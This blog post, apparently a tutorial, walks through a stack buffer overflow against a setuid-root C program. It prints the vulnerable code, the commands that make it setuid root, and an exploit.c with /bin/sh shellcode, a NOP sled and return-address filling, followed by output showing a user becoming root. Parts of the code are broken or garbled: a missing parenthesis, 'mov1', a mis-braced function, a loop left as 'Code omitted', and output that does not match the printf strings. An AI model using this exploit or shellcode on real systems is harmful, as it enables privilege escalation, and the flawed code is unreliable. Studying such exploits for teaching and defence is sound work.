Magic buffer
In the previous post,we checked out the brief overview of buffer overflow.
Lets actually try it out making the program go where we want and execute code that can be used to gain root.
The difficult part here is to actually find out where the program should jump during execution,any wrong address and it will simply crash and burn.
Bytecode injection - a fancy term used to make a buffer overflow actually work is described here.
Lets take a sample code for vulnerability,similar to that in my previous post :
int main(int argc,char *argv[])
{
char buffer[500];
strcpy(buffer,argv[1]; //Simply copying something addressed by argv into buffer
return 0;
}
apache@apache:~/Desktop$ gcc -o vuln vuln.c
apache@apache:~/Desktop$./vuln.c test
It does nothing as of now except screwing up memory allocation on the box.To make it truly dangerous,we need to give it executable rights and changing ownership to root and turn the suid on.
apache@apache:~/Desktop$ sudo chown root vuln
apache@apache:~/Desktop$ sudo chmod +s vuln
apache@apache:~/Desktop$ ls -l vuln
-rwsr-sr-x 1 root users
This makes it vulnerable to buffer overflow.Now we need a specially made buffer which can be fed to this.This buffer will have the shellcode that will overwrite return address in stack so that we can run shellcode.First four bytes where the return address is stored must be overwritten by shellcode which makes it somewhat daunting.If we use NOP instruction(which basically does nothing but wastes CPU cycles,we can get the relative address by subtracting the offset from the stack pointer).Basically,when NOP is encountered by stack pointer,it will move to the next location and so on.If we fill our wonderful buffer at the start with NOP and the end with the relative addresses of shellcode,we can run the code.
For your viewing pleasure :
|NOP bunch | Shellcode|Repeated return address|
Lets assume that the offset is 0,so the relative address is the stack pointer value.
Code for shellcode exploit as follows ,I have put it as exploit.c :
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{
{_asm_("mov1 %esp,%eax");} //Stack pointer is returned
int main(int argc,char *argv[])
{
int i,offset;
long esp,ret,*addr_ptr;
char *buffer,*ptr;
offset = 0;
esp = sp(); //current stack pointer goes in esp
ret = esp - offset ; //obviously
printf("Stack pointer (ESP) : 0x%x\n",esp);
printf("Offset from ESP : 0x%x\n",offset);
printf("Return address : 0x%x\n",ret);
buffer=malloc(600); //giving 600 bytes for buffer
//Now we fill the buffer with desired return address
ptr=buffer;
addr_ptr=(long *) ptr;
for(i=0;i<600;i+=4) // four because of stack pointer increasing by four bytes
{ *(addr_ptr++)=ret; }
for(i=0;i<200;i++) //Loop to fill first 200 bytes of buffer with NOP
{ buffer[i] ='\x90'; }
//Put the shellcode in between
ptr = buffer + 200;
loop for reading shellcode
{
Code omitted for brevity
}
Now to actually see if this works :
apache@apache:~/Desktop$ gcc -o exploit exploit.c
apache@apache:~/Desktop$ ./exploit
Output:
Stack pointer (ESP) : 0xbffff978
Offset from ESP:0x0
Desired return address:0xbffff978
Before the code:
apache@apache:~/Desktop$whoami
apache
After the code:
root@apache#whoami
root
Might seem complex at first,but if we think for a while...it does make sense.
Life is funny isn't it?
Enough of buffer overflow,my next post will be something interesting and vibrant.

0 comments: to “ Magic buffer ”
Post a Comment